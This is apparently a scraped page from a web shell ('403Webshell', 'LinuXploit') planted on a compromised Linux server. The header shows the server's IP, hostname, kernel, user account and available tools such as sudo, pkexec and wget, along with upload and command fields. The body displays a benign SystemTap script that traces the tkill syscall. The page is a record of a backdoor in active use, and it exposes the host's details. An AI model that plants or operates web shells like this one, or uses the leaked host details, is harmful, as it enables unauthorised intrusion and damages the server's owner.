403Webshell
Server IP : 103.4.122.14  /  Your IP : 216.73.216.103
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
System : Linux cwp2.slnet.com.au 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : statewid ( 1251)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/systemtap/tapset/linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/systemtap/tapset/linux/sysc_tkill.stp
# tkill ______________________________________________________
#
# asmlinkage long
# sys_tkill(int pid,
#	     int sig)
#

@define _SYSCALL_TKILL_NAME
%(
	name = "tkill"
%)

@define _SYSCALL_TKILL_ARGSTR
%(
	argstr = sprintf("%d, %s", pid, sig_str)
%)

@define _SYSCALL_TKILL_REGARGS
%(
	pid = int_arg(1)
	sig = int_arg(2)
	sig_str = _signal_name(sig)
%)

probe syscall.tkill = dw_syscall.tkill !, nd_syscall.tkill ? {}
probe syscall.tkill.return = dw_syscall.tkill.return !,
                             nd_syscall.tkill.return ? {}

# dw_tkill _____________________________________________________

probe dw_syscall.tkill = kernel.function("sys_tkill").call
{
	@_SYSCALL_TKILL_NAME
	pid = __int32($pid)
	sig = __int32($sig)
	sig_str = _signal_name(sig)
	@_SYSCALL_TKILL_ARGSTR
}
probe dw_syscall.tkill.return = kernel.function("sys_tkill").return
{
	@_SYSCALL_TKILL_NAME
	@SYSC_RETVALSTR($return)
}

# nd_tkill _____________________________________________________

probe nd_syscall.tkill = nd1_syscall.tkill!, nd2_syscall.tkill!, tp_syscall.tkill
  { }

probe nd1_syscall.tkill = kprobe.function("sys_tkill") ?
{
	@_SYSCALL_TKILL_NAME
	asmlinkage()
	@_SYSCALL_TKILL_REGARGS
	@_SYSCALL_TKILL_ARGSTR
}

/* kernel 4.17+ */
probe nd2_syscall.tkill = kprobe.function(@arch_syscall_prefix "sys_tkill") ?
{
	__set_syscall_pt_regs(pointer_arg(1))
	@_SYSCALL_TKILL_NAME
	@_SYSCALL_TKILL_REGARGS
	@_SYSCALL_TKILL_ARGSTR
}

/* kernel 3.5+, but undesirable because it affects all syscalls */
probe tp_syscall.tkill = kernel.trace("sys_enter")
{
	__set_syscall_pt_regs($regs)
	@__syscall_compat_gate(@const("__NR_tkill"), @const("__NR_compat_tkill"))
	@_SYSCALL_TKILL_NAME
	@_SYSCALL_TKILL_REGARGS
	@_SYSCALL_TKILL_ARGSTR
}

probe nd_syscall.tkill.return = nd1_syscall.tkill.return!, nd2_syscall.tkill.return!, tp_syscall.tkill.return
  { }

probe nd1_syscall.tkill.return = kprobe.function("sys_tkill").return ?
{
	@_SYSCALL_TKILL_NAME
	@SYSC_RETVALSTR(returnval())
}

/* kernel 4.17+ */
probe nd2_syscall.tkill.return = kprobe.function(@arch_syscall_prefix "sys_tkill").return ?
{
	@_SYSCALL_TKILL_NAME
	@SYSC_RETVALSTR(returnval())
}

/* kernel 3.5+, but undesirable because it affects all syscalls */
probe tp_syscall.tkill.return = kernel.trace("sys_exit")
{
	__set_syscall_pt_regs($regs)
	@__syscall_compat_gate(@const("__NR_tkill"), @const("__NR_compat_tkill"))
	@_SYSCALL_TKILL_NAME
	@SYSC_RETVALSTR($ret)
}

Youez - 2016 - github.com/yon3zu
LinuXploit